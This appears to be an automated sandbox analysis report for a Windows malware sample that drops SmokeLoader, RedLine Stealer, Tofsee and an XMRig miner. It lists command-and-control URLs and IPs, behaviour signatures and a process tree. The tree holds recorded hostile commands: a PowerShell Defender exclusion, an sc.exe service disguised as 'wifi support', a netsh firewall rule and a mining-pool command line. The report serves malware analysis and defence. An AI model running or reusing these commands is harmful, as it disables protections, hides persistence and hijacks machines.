Overview

overview

10

Static

static

e238a7a3fa...60.exe

windows7_x64

10

e238a7a3fa...60.exe

windows10_x64

10

Analysis

  • max time kernel
    153s
  • max time network
    185s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22/09/2021, 21:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    e238a7a3fa37f2eda6d9e8cd2c51db60.exe
  • Size 284KB
  • Sample210922-1chmjsgedn
  • SHA256 a98b37b337927ef6cea8a053a4ea676646de4dfbf6ce9619593246a1ecc362b6
  • MD5 SHA1 SHA512
Score
10/10
redlinesmokeloadertofseexmrigqquralogibackdoordiscoveryevasioninfostealerminerpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://hamilaharr6.top/

  • http://bartanayane7.top/

  • http://zesiahavie8.top/

  • http://hancarlenei9.top/

  • http://samillavakiv10.top/

  • http://feryleromand11.top/

  • http://ubrianella12.top/

  • http://hepryceeaaa13.top/

  • http://viahalexandy14.top/

  • http://wenataliana15.top/

rc4.i32
rc4.i32

Extracted

Family

  • redline

Botnet

  • qq

C2

  • 135.181.142.223:30397

Extracted

Family

  • redline

Botnet

  • uralogi

C2

  • 94.26.249.88:23619

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 14 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 23 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 23 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e238a7a3fa37f2eda6d9e8cd2c51db60.exe
    "C:\Users\Admin\AppData\Local\Temp\e238a7a3fa37f2eda6d9e8cd2c51db60.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Users\Admin\AppData\Local\Temp\e238a7a3fa37f2eda6d9e8cd2c51db60.exe
      "C:\Users\Admin\AppData\Local\Temp\e238a7a3fa37f2eda6d9e8cd2c51db60.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1984
  • C:\Users\Admin\AppData\Local\Temp\4F47.exe
    C:\Users\Admin\AppData\Local\Temp\4F47.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Users\Admin\AppData\Local\Temp\4F47.exe
      C:\Users\Admin\AppData\Local\Temp\4F47.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1752
  • C:\Users\Admin\AppData\Local\Temp\6D05.exe
    C:\Users\Admin\AppData\Local\Temp\6D05.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Users\Admin\AppData\Local\Temp\6D05.exe
      C:\Users\Admin\AppData\Local\Temp\6D05.exe
      2⤵
      • Executes dropped EXE
      PID:1520
    • C:\Users\Admin\AppData\Local\Temp\6D05.exe
      C:\Users\Admin\AppData\Local\Temp\6D05.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Users\Admin\AppData\Local\Temp\DirectX11.exe
        "C:\Users\Admin\AppData\Local\Temp\DirectX11.exe"
        3⤵
        • Executes dropped EXE
        • Drops startup file
        • Loads dropped DLL
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\ProgramData
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1596
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1656
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:636
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1344
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1680
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:792
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1536
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1528
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1624
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1392
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1708
        • C:\ProgramData\Systemd\note3dll.exe
          NULL
          4⤵
          • Executes dropped EXE
          PID:1216
  • C:\Users\Admin\AppData\Local\Temp\12C6.exe
    C:\Users\Admin\AppData\Local\Temp\12C6.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1660
  • C:\Users\Admin\AppData\Local\Temp\6B81.exe
    C:\Users\Admin\AppData\Local\Temp\6B81.exe
    1⤵
    • Executes dropped EXE
    PID:1540
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hhajkop\
      2⤵
        PID:548
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sidpjvzr.exe" C:\Windows\SysWOW64\hhajkop\
        2⤵
          PID:1376
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hhajkop binPath= "C:\Windows\SysWOW64\hhajkop\sidpjvzr.exe /d\"C:\Users\Admin\AppData\Local\Temp\6B81.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1756
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hhajkop "wifi internet conection"
            2⤵
              PID:1392
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hhajkop
              2⤵
                PID:1420
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1644
              • C:\Windows\SysWOW64\hhajkop\sidpjvzr.exe
                C:\Windows\SysWOW64\hhajkop\sidpjvzr.exe /d"C:\Users\Admin\AppData\Local\Temp\6B81.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1628
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:384
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:816
              • C:\Users\Admin\AppData\Local\Temp\FE4F.exe
                C:\Users\Admin\AppData\Local\Temp\FE4F.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1084
              • C:\Users\Admin\AppData\Local\Temp\1568.exe
                C:\Users\Admin\AppData\Local\Temp\1568.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                PID:1264
                • C:\Users\Admin\AppData\Local\Temp\1568.exe
                  C:\Users\Admin\AppData\Local\Temp\1568.exe
                  2⤵
                  • Executes dropped EXE
                  PID:340

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/340-196-0x0000000000400000-0x0000000000422000-memory.dmp
                    Download

                    memory/340-191-0x0000000000400000-0x0000000000422000-memory.dmp
                    Download

                    memory/340-198-0x00000000048D0000-0x00000000048D1000-memory.dmp
                    Download

                    memory/384-157-0x00000000000C0000-0x00000000000D5000-memory.dmp
                    Download

                    memory/816-167-0x0000000000080000-0x0000000000171000-memory.dmp
                    Download

                    memory/1084-183-0x0000000004D00000-0x0000000004D01000-memory.dmp
                    Download

                    memory/1084-181-0x00000000010F0000-0x00000000010F1000-memory.dmp
                    Download

                    memory/1264-190-0x00000000043D0000-0x00000000043D1000-memory.dmp
                    Download

                    memory/1264-187-0x00000000002B0000-0x00000000002B1000-memory.dmp
                    Download

                    memory/1352-65-0x00000000042A0000-0x00000000042B0000-memory.dmp
                    Download

                    memory/1352-64-0x0000000002200000-0x0000000002216000-memory.dmp
                    Download

                    memory/1352-74-0x00000000026C0000-0x00000000026D6000-memory.dmp
                    Download

                    memory/1540-144-0x0000000000020000-0x0000000000033000-memory.dmp
                    Download

                    memory/1540-145-0x0000000000400000-0x0000000002B8F000-memory.dmp
                    Download

                    memory/1596-101-0x000000001AD40000-0x000000001AD42000-memory.dmp
                    Download

                    memory/1596-98-0x00000000024B0000-0x00000000024B1000-memory.dmp
                    Download

                    memory/1596-121-0x0000000002870000-0x0000000002871000-memory.dmp
                    Download

                    memory/1596-99-0x000000001ADC0000-0x000000001ADC1000-memory.dmp
                    Download

                    memory/1596-102-0x0000000002400000-0x0000000002401000-memory.dmp
                    Download

                    memory/1596-109-0x0000000002810000-0x0000000002811000-memory.dmp
                    Download

                    memory/1596-122-0x0000000002880000-0x0000000002881000-memory.dmp
                    Download

                    memory/1596-103-0x000000001AD44000-0x000000001AD46000-memory.dmp
                    Download

                    memory/1596-105-0x0000000002010000-0x0000000002011000-memory.dmp
                    Download

                    memory/1596-106-0x0000000002760000-0x0000000002761000-memory.dmp
                    Download

                    memory/1628-160-0x0000000000400000-0x0000000002B8F000-memory.dmp
                    Download

                    memory/1660-127-0x0000000000D60000-0x0000000000D61000-memory.dmp
                    Download

                    memory/1660-129-0x0000000002710000-0x0000000002711000-memory.dmp
                    Download

                    memory/1676-84-0x0000000000400000-0x0000000000422000-memory.dmp
                    Download

                    memory/1676-89-0x0000000000710000-0x0000000000711000-memory.dmp
                    Download

                    memory/1676-87-0x0000000000400000-0x0000000000422000-memory.dmp
                    Download

                    memory/1684-80-0x0000000004AD0000-0x0000000004AD1000-memory.dmp
                    Download

                    memory/1684-78-0x00000000002B0000-0x00000000002B1000-memory.dmp
                    Download

                    memory/1968-63-0x0000000000020000-0x0000000000029000-memory.dmp
                    Download

                    memory/1984-62-0x0000000075DA1000-0x0000000075DA3000-memory.dmp
                    Download

                    memory/1984-60-0x0000000000400000-0x0000000000409000-memory.dmp
                    Download

                    memory/2000-94-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
                    Download